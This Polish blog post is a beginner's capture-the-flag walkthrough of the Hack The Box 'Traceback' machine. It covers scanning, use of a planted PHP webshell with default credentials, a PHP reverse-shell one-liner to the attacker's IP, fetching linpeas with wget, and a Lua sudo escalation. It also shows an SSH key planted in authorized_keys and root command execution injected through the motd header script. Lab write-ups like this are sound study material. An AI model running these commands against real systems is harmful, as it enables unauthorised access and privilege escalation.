Wprowadzenie
Maszyna Traceback jest moją pierwszą zdobyczą. Od kilku ostatnich miesięcy z admina sieci przenoszę się na IT Security, co prawda bardziej ciągnie mnie w stronę Blue Team, ale znajomość technik ataków ułatwi wykrywanie atakujących. Wszystkich chętnych, który dopiero zaczynają zmagania w HTB, bądź podobnych serwisach zapraszam na mojego discorda. Zaznaczam, iż opis nie jest przeznaczony dla zaawansowanych użytkowników, bardziej służy usystematyzowaniu mojej wiedzy. Jeżeli tak jak ja dopiero zaczynasz hakowanie, to dobrze trafiłeś.
Rekonesans
Atakowana maszyna znajdowała się pod adresem 10.10.10.181. Pierwszym krokiem było przeskanowanie maszyny narzędziem nmap. Za pomocą polecenia:
nmap -sC -sV -oA nmapscan 10.10.10.181
Wynik skanowania:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-16 20:10 CEST
Nmap scan report for 10.10.10.181
Host is up (0.054s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
W między czasie uruchomiłem przeglądarkę i wpisałem adres IP maszyny, w celu sprawdzenia czy nie ma tam jakiegoś serwisu. Po załadowaniu strony, otrzymałem informację, że serwis już jest zhakowany.
Dirbuster
Jako, że na maszynie działa usługa http, postanowiłem sprawdzić czy uda się odszukać nazwy katalogów. Uruchomiłem narzędzie gobuster
gobuster dir -u http://10.10.10.181/ -w /usr/share/wordlists/dirb/common.txt
Wynik skanowania:
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.181/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/16 20:19:20 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/16 20:19:45 Finished
===============================================================
Kod źródłowy strony
Ponieważ działanie gobustera jest czasochłonne, postanowiłem zajrzeć w kod źródłowy strony. Jako niedoświadczony pentester pierwsze co zrobiłem, to za komentowany tekst przekopiowałem do wyszukiwarki google. Jeden z pierwszych wyników wskazywał na githuba i zbiór webshell’i, czyli ktoś zrobił już wieksząć cześć roboty za nas, musimy tylko sprawdzić jaki webshell został użyty. Przygotowałem listę z nazwami webshelli i jeszcze raz uruchomiłem dirbustera, ale tym razem z moją lista plików.
Webshell
Wynik skanowana wskazywał na webshell o nazwie smevk. Przejście na http://10.10.0.181/smevk.php wymagało autoryzacji, ale na szczęście na githubie był dostępny kod źródłowych, a z niego udało się wynikało, iż login i hasło to admin/admin. Webshell to połowa sukcesu, bardziej zależało mi na zestawieniu połączenia zwrotnego do mojej konsoli czyli reverse shell. Wiele przydatnych skrytpów znajdziecie pod tym linkiem.
Reverse Shell
Do zestawienia połączenia wykorzystałem reverse shell w php.
php -r '$sock=fsockopen("10.10.14.17",8081);exec("/bin/sh -i <&3 >&3 2>&3");'
gdzie 10.10.14.17 to adres IP mojego komputera, a 8081 to port na którym nasłuchuje. Każdemu polecam zapoznanie się z tmux’em ułatwia bardzo pracę w terminalu. Przed uruchomieniem reverse shella, przygotowałem mój komputer do nawiązania połączenia zwrotnego:
nc -lvnp 8081
Następnie w zakładce Console uruchomiłem wcześniej opisaną komendę. Połączenie zostało zestawione, ale sama praca w konsoli wymaga poprawny, mianowicie chiałem używać tabulatora przy wpisywaniu komend oraz mieć konsole normalnej szerokości. Żeby to osiągnąć przygotowałem odpowiednio sesje poprzez szereg komend:
Interaktywny shell
1. python3 -c 'import pty;pty.spawn("/bin/bash");'
2. wciskamy crtl-z
3. stty raw -echo
4. wpisujemy fg i enter x2
5. export TERM=screen
6. stty rows 100 cols 100
Enumeracja
Uzyskując dostęp poprzez reverse shella posiadamy uprawienia takie jak usługa na której uruchomiliśmy skrypt, dlatego kolejnym krokiem była próba pozyskania większej ilości informacji o systemie. Na szczęście nie trzeba tego robić ręcznie i można skorzystać z gotowych rozwiązań, takich jak LinPeas albo LinEnum. Pliki muszą zostać uruchomione lokalnie na przejętej maszynie, dlatego w pierwszej kolejności na lokalnym komputerze utworzyłem serwer http
python -m SimpleHTTPServer
Użytkownik na którym został uruchomiony reverse shell nie miał praw zapisu do /home dlatego zmieniłem katalog na /tmp. Następnie za pomocą polecenia wget pobrałem skrypt na maszynę.
http://10.10.14.17:8000/linpeas.sh
Jeżeli w wyniku skanowania mamy zapisy na czerwono, to ułatwi nam eskalacje uprawnień. Niestety w tym przypadku tak nie było. Na początku moją uwagę przykuła informacja:
Wynikało z niej, iż użytkownik webadmin może uruchomić skrypt /home/sysadmin/luvit z uprawnieniami użytkownika sysadmin bez konieczności podawania hasła. Sprawdziłem co to jest luvit. Znając język programowania możemy poszukać gotowych expolitów, idealnym miejscem do tego jest gftobins, a tam znalazłem:
lua -e 'os.execute("/bin/sh")'
które przerobiłem na:
Tym o to sposobem udało odczytać się flagę usera. Dla ułatwienia pracy, dodałem swój klucz ssh do autoryzowanych kluczy, aby nie zestawiać ponownie reverse shella. W katalogu tmp, utworzyłem nowy plik i wkopiowałem do niego mój klucz ssh. Dodanie przebiegło pomyślnie ponieważ sysadmin miał prawa do zapisu, ale nie zawsze tak jest.
cat auth_key >> ~/.ssh/authorized_keys
Podjąłem próbę zalogowania się do maszyny na konto sysadmina.
W kolejnych krokach musiał zdobyć flagę root. Ponownie uruchomiłem skrypt do enumeracji, tym razem już z uprawnieniami konta sysadmin. Było kilka rzeczy, które mi nie pasowały, jedną z nich jest baner po zalogowaniu się na ssh, a drugą wynik „interesujących plików”. Przyznam szczerze, że analizowanie wyników skanowania linpeas, czy też linenum zajęło mi sporo czasu.
Sprawdziłem zadania cron’a czy nie wykonuje czegoś na tych plikach, jednak nic ciekawego nie znalazłem, ale wiedziałem, ze „coś” modyfikuje pliki. Postanowiłem przyjrzeć się działającym procesom poprzez wydanie polecnia:
ps aux
/bin/sh -c sleep30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
Katalog update-motd.d jest odtwarzany co 30 sekund. Postanowiłem przyjrzeć się co znajduje się w tych plikach. Okazało się, iż 00-header jest odpowiedzialny za wyświetlenie naszego baner po zalogowaniu do ssh. Spróbowałem dodać podstawowe komendy, aby sparwdzić czy zostaną wykonane polecenia systemowe, jako pierwsze spróbowałem „id”
echo 'id' >> /etc/update-motd.d/00-header
Konsola z tumxe’em w tym przypadku sprawdziła się idealnie, ponieważ pliki odtwarzają się co 30 sekund, musiałem działać szybko. Podzieliłem ekran konsoli, wpisują już dane do logowania, na drugiej części przygotowałem polecenie z dodaniem 'id’, enter szybkie przełączenie na część z logowaniem i udało się, baner wykonuje także zapytania systemowe.
Odczytanie flagi root’a było juz dość poste
echo "cat /root/root.txt" >> /etc/update-motd.d/00-header
Podsumowanie
Poziom trudności Traceback, to 4.4/10, także można uznać ją za dość łatwą maszynę. Największym problemem był analiza wyników skanowania z enumeracji i dalsza eskalacja uprawnień. Pewnie dla bardziej zaawansowanych użytkowników HTB, maszyna była faktycznie łatwa do zdobycia, jednak ode mnie wymagało, to trochę większej pracy. Mam nadzieje, iż opis przypadnie wam do gustu, zamierzam kontynuować zmagania z HTB, a efekty prac opisywać na blogu. Podsymowując
1. Na serwerze znajdował się webshell, co zaoszczędziło pracy nad wgraniem własnego
2. Dostęp do webshella był na domyślnych poświadczeniach
3. Użytkownik webadmin bez konieczności podania hasła mógł używać interpretera lua jako sysadmin
4. Użytkownik sysadmin, mógł modyfikować zawartośc 00-header, odpowidzialnego za wyśwetlanie baneru po zalogowaniu do ssh